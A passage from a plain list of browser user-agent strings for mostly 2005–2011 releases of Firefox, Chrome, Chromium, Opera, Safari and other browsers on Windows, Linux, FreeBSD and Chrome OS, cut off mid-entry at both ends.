3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-PT; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ro; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; rv:1.9.2) Gecko/20100105 MRA 5.6 (build 03278) Firefox/3.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; sl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.2.13) Gecko/20101203 AskTbIMB/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.2.13) Gecko/20101203 AskTbCLM/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; uk; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.13) Gecko/20101203 AskTbPTV/3.9.1.14019 Firefox/3.6.13 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre -Mozilla/5.0 (Windows; Windows NT 5.1; es-ES; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre -Mozilla/5.0 (X11; CrOS i686 0.13.507) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/13.0.763.0 Safari/534.35 -Mozilla/5.0 (X11; CrOS i686 0.13.587) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.14 Safari/535.1 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.23 (KHTML, like Gecko) Chrome/11.0.686.3 Safari/534.23 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.14 Safari/534.24 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.702.0 Chrome/12.0.702.0 Safari/534.24 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Slackware/Chrome/12.0.742.100 Safari/534.30 -Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.35 (KHTML, like Gecko) Ubuntu/10.10 Chromium/13.0.764.0 Chrome/13.0.764.0 Safari/534.35 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.04 Chromium/11.0.696.0 Chrome/11.0.696.0 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 -Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62 -Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.60 -Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.341 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.343 Safari/534.10 -Mozilla/5.0 (X11; U; CrOS i686 0.9.130; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.344 Safari/534.10 -Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1) Gecko/20090720 Firefox/3.5.1 -Mozilla/5.0 (X11; U; DragonFly i386; de; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.0.10) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1) Gecko/20090703 Firefox/3.5 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.2.9) Gecko/20100913 Firefox/3.6.9 -Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9a2) Gecko/20080530 Firefox/3.0a2 -Mozilla/5.0 (X11; U; FreeBSD i386; ja-JP; rv:1.9.1.8) Gecko/20100305 Firefox/3.5.8 -Mozilla/5.0 (X11; U; FreeBSD i386; ru-RU; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; Linux armv7l; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.175.0 Safari/530.7 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.576.0 Safari/534.12 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.634.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; ca; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.0.16) Gecko/2009121601 Ubuntu/9.04 (jaunty) Firefox/3.0.16 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.1.6) Gecko/20100107 Fedora/3.5.6-1.fc12 Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.9.2.8) Gecko/20100725 Gentoo Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.11) Gecko/2009062218 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.12) Gecko/2009070812 Ubuntu/8.04 (hardy) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009082505 Red Hat/3.0.14-1.el5_4 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010020400 SUSE/3.0.18-0.1.1 Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.18) Gecko/2010021501 Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009041500 SUSE/3.0.9-2.2 Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1) Gecko/20090624 Ubuntu/8.04 (hardy) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.1) Gecko/20090722 Gentoo Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091201 SUSE/3.5.6-1.1.1 Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB7.0 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.1.8) Gecko/20100214 Ubuntu/9.10 (karmic) Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100914 SUSE/3.6.10-0.3.1 Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100915 Ubuntu/9.10 (karmic) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-CA; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060214 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.11) Gecko/2009060309 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.13) Gecko/2009080316 Ubuntu/8.04 (hardy) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.19) Gecko/2010040118 Ubuntu/8.10 (intrepid) Firefox/3.0.19 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 GTB5 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.11) Gecko/20101013 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 GTB7.1 -Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9b5) Gecko/2008041514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.205.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.0 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.4 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.5 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.8 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.358.0 Safari/533.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.366.2 Safari/533.4 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.416.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.1 SUSE/6.0.428.0 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.551.0 Safari/534.10 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.12 (KHTML, like Gecko) Chrome/9.0.579.0 Safari/534.12 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.44 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Ubuntu/9.10 Chromium/9.0.592.0 Chrome/9.0.592.0 Safari/534.13 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.612.1 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.04 Chromium/10.0.612.3 Chrome/10.0.612.3 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.611.0 Chrome/10.0.611.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.0 Chrome/10.0.648.0 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.648.133 Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.453.1 Safari/534.2 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.457.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 -Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.24 Safari/534.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13) Gecko/20060501 Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.5) Gecko/20060626 (Debian-1.8.0.5-3) Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.6) Gecko/20060808 Fedora/1.5.0.6-2.fc5 Firefox/1.5.0.6 pango-text -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060910 SeaMonkey/1.0.5 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060928 (Debian-1.8.0.7-1) Epiphany/2.14 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061022 Iceweasel/1.5.0.7-g2 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20061031 Firefox/1.5.0.7 Flock/0.7.7 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.8) Gecko/20061029 SeaMonkey/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; 